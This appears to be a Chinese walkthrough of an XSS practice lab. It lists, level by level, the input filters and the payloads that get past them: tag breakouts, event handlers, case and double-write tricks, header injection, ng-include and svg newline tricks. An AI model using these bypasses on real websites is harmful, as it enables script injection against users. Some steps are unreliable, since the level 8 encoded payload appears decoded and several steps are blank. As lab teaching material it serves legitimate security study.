-
第一关 弹窗事件的触发
-
使用 GET 传递参数 没有任何过滤和限制
-
url?name=<script>alert()</script>
-
-
-
第二关 闭合绕过
- 对传入的 值 进行了 HTML的实体转换 但是 没有 对 第二传入的值进行实体化 所以 将第二个标签 闭合后 写入弹窗代码 (文本框些如就可以)
-
"> <script>alert()</script> <"
- htmlspecialchars函数只针对<>大于小于号进行html实体化
-
第三关 HTML实体化 通过不使用 <> 号 绕过HTMl实体化
- 使用不需要 <> 大于 小于 号的 事件标签来触发弹窗
-
' onfocus=javascript:alert() '
-
第四关 去除 <> 大于 小于 号 通过闭合标签构造不需要使用 <> 号的标签
-
" onfocus=javascript:alert() "
-
-
第五关 去除 大小写绕过 和 特殊标签
- 将 字母转换为 小写 将特殊标签 进行替换
-
"> <a href=javascript:alert()>xxx</a> <"
-
第六关 特殊标签的 过滤 通过大小写绕过
-
"> <sCript>alert()</sCript> <"
-
-
第七关 过滤特殊的标签和小写转换 通过双写绕过
-
"> <a hrehreff=javasscriptcript:alert()>x</a> <"
-
-
第八关 过滤特殊标签和转化小写 和HTML 的实体化通过 href的隐藏属性自动Unicode解码
- javascript:alert() 编码
-
javascript:alert()
-
- javascript:alert() 编码
-
第九关 转换小写 过滤关键词 对 参数进行特殊关键词的检测 通过 注释特殊关键词绕过
-
javascript:alert()/* http:// */
-
-
第十关 隐藏参数传值 和过滤 <> 号 通过找到隐藏参数传值
-
?t_sort=" onfocus=javascript:alert() type="text
- 需要添加type="text",构造payload
-
-
第十一关 过滤<> 号 使用 HTTP头传值 通过brupsuite或者hackbar修改头部传值的参数
2.
3.
-
第十二关 与 第十三关 同 十一关一样
- 十二关修改 user_agent
- 十三关修改cookie
-
第十五关
2.
-
?src='/level1.php?name=<img src=1 onmouseover=alert()>'包含第一关后 使用标签弹窗
- ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
-
第十六关 小写转换和关键词和/转换空格 最后将空格实体化 通过 回车来代替空格实现绕过
-
?keyword=<svg%0Aonload=alert(1)>
-
-
第十七关到二十关 使用 flash插件来实现